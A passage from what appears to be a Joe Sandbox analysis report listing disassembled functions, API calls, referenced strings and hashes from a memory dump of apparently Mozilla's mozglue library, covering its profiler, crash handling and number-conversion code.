Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D52E
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D751

Strings

MOZ_CRASH(), xrefs: 6C95D4BB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction ID: 8bf216e04aee48e14e3771ef73b27ef7c060cb3fd841098f79c14ad258438406
Opcode Fuzzy Hash: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction Fuzzy Hash: 3A51D076A087019FD724CF29C1D461AB7E5EB89708FA44A2EE59AC7F84D770E810CB91

Function 6C984630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Strings

., xrefs: 6C98476A
profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction ID: 7fee2446849189629099b30f98879efa2b0cd886cb06651aaaa337ae2cb42076
Opcode Fuzzy Hash: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction Fuzzy Hash: EA413971A097089BCB08DF79E86115EBBF9EF95744F208A3EE85957B81EB30D8448B41

Function 6C9A9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9A985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9A987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9A98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9A98D9

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: a5f27f1c8d34f521f024023a885a56668860601629c1317802e2d3dd6099ee57
Instruction ID: 925a7ca3537632d4dda09f1cfbe20ce7d59b10c45cbcf2dafef56acdf55d2e46
Opcode Fuzzy Hash: a5f27f1c8d34f521f024023a885a56668860601629c1317802e2d3dd6099ee57
Instruction Fuzzy Hash: 7D313A75B002086FDF049F69D8549EF77A8DF98718F50446DEA069BB80DB31D905CBD1

Function 6C9846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Part of subcall function 6C934410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C973EBD,00000017,?,00000000,?,6C973EBD,?,?,6C9342D2), ref: 6C934444

Strings

., xrefs: 6C98476A
profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction ID: 7627e065fe68f4e793dee1083319bb91a2ce6337b6d268f8c103f9546b1f50eb
Opcode Fuzzy Hash: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction Fuzzy Hash: 19315771F053085BCB08CF6DD8912AEBBEADF98714F15853EE8059BB81EB74D8048B90

Function 6C98B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C98B127), ref: 6C98B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C98B4E4

Strings

pid:, xrefs: 6C98B4DE

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction ID: 451101018947e32e92d9770780c208937fedc87ec77bab94bd7f57f2d92d72bc
Opcode Fuzzy Hash: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction Fuzzy Hash: E5310531A02209DBDB00DFB9DC81AEEB7B9FF55318F580929D91167B81D731E849CBA1

Function 6C97E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97E577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E584
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C97E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C97E777
MOZ_PROFILER_STARTUP, xrefs: 6C97E5A1, 6C97E5CC, 6C97E5FF, 6C97E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C97E722, 6C97E750, 6C97E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C97E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C97E826, 6C97E850

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction ID: 397d83568749ca53ffbe4f30954e025b36b5e638b65546ff93ac28cba8bc7c5c
Opcode Fuzzy Hash: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction Fuzzy Hash: EB118E39608258EFCB109F18C448A9BFBB9FB8972CF610519F84557A50D774E804CBD9

Function 6C980C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980CD5

Part of subcall function 6C96F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C96F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980D40
free.MOZGLUE ref: 6C980DCB

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

free.MOZGLUE ref: 6C980DDD
free.MOZGLUE ref: 6C980DF2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction ID: f50e69225061e9f4b5eb919f6f096e6a396803521d116908dc9f2f15e868cbdc
Opcode Fuzzy Hash: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction Fuzzy Hash: 7B412571A0A7849BD320CF29C08079EFBE5BF99714F519A2EE8D887B51D770E445CB82

Function 6C970800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C97084C
EnterCriticalSection.KERNEL32(?), ref: 6C9708AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9708BD
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9708D5

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fbd08dff25fad144c0dff14e14f101f5f7d44befd925a40e17e18a5949420af1
Instruction ID: dbcf215c06d6a3b90dbe47c863ddcfe1142f6ba471e87eb1af29f1fd01e98540
Opcode Fuzzy Hash: fbd08dff25fad144c0dff14e14f101f5f7d44befd925a40e17e18a5949420af1
Instruction Fuzzy Hash: C121C130B06249ABEB148F658884BEB737DBF44708F6005A8E509E7A41DB37E8048BE4

Function 6C98CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDA4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D158
Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000098,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDC4

Part of subcall function 6C987480: ReleaseSRWLockExclusive.KERNEL32(?,6C9915FC,?,?,?,?,6C9915FC,?), ref: 6C9874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CECC

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

Part of subcall function 6C97CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C98CEEA,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000), ref: 6C97CB57
Part of subcall function 6C97CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C97CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C98CEEA,?,?), ref: 6C97CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D058

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction ID: 1eb9746c3b77afada2fa927f73bfb7798434038c57afb2b3b9e6c6c4f77fe59b
Opcode Fuzzy Hash: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction Fuzzy Hash: 16D16E71A05B46DFD708CF28C480BA9F7E1BF99308F01866DD8598B712EB31E965CB81

Function 6C941720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9417B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9418EE
free.MOZGLUE(?), ref: 6C941911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94194C

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 618054c52dfadc0db6b968ac566194f50f8ca13126a647cb2ef2ce7dec3e7b3d
Instruction ID: 336ccad4c9e17991ef69a119ba6091c6b5af6e3d44457e737230f2ec56f1de9b
Opcode Fuzzy Hash: 618054c52dfadc0db6b968ac566194f50f8ca13126a647cb2ef2ce7dec3e7b3d
Instruction Fuzzy Hash: 0481E170A142059FCB08CF68D8D49BEBBB5FF8A314F04866CE815AB750D730E864CBA1

Function 6C955C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C955D40
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C955D67
__aulldiv.LIBCMT ref: 6C955DB4
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C955DED

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction ID: f4069b7deb0e335ded57c808f94c0e1c208982bee84eb0a2952769656b70b137
Opcode Fuzzy Hash: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction Fuzzy Hash: E4516F76E0415ADFCF08CF68C854ABFBBB5FB85308F698619D811A7751C730A945CB90

Function 6C93CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C93CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C93CF4E

Strings

0, xrefs: 6C93CF30

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction ID: 4a6182ff740a96470bf13e5f7347458bd0249537bfdde0f70ff55340832c17e0
Opcode Fuzzy Hash: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction Fuzzy Hash: 17512575A006668FCB00CF18C890A9AB7B5EF99300F19829DDC595F791D731ED06CBE0

Function 6C9977D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9977FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C997829

Part of subcall function 6C96CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9331A7), ref: 6C96CC45
Part of subcall function 6C96CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9331A7), ref: 6C96CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C99789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9978CF

Part of subcall function 6C934DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
Part of subcall function 6C934DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 7cb943849619d258da37be788a6e7aa261710d5ee3ad269f3b8b4f0af51714c0
Instruction ID: 1665dcf1264eea48552396d235d0c1cdf87ed79ff54108c101c322342cf26f88
Opcode Fuzzy Hash: 7cb943849619d258da37be788a6e7aa261710d5ee3ad269f3b8b4f0af51714c0
Instruction Fuzzy Hash: 6D41AF719087469BD300DF29C48056BFBF8FFDA254F204A6EE4A987780DB30D559CB92

Function 6C976470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9782BC,?,?), ref: 6C97649B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9764A9

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97653F
free.MOZGLUE(?), ref: 6C97655A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
Instruction ID: 74481e41412e3302473efb12cdc443b3f537577557ebf8d922173f116530984a
Opcode Fuzzy Hash: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
Instruction Fuzzy Hash: 15316FB5A097059FD700CF14D884A9EBBF4FF99314F50482EE85A97741EB30E919CB92

Function 6C96FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?), ref: 6C96FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?), ref: 6C96FFF5
free.MOZGLUE(?,?,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?), ref: 6C97001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?), ref: 6C97002A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 2a3bbf0798061b2e6ef6e5d44688b21506bd449f37b286bf80502121ccd817a9
Instruction ID: eaafaa8658f108337d4162f5b65aef8459573c3b463276e6541622daaf06bafc
Opcode Fuzzy Hash: 2a3bbf0798061b2e6ef6e5d44688b21506bd449f37b286bf80502121ccd817a9
Instruction Fuzzy Hash: 2B2108B2B002159FD7189F799CD44AFB7BAEB953243250738E425D7BC0EA31DD1186E0

Function 6C94B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C94B4F5
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B502
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B542
free.MOZGLUE(?), ref: 6C94B578

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
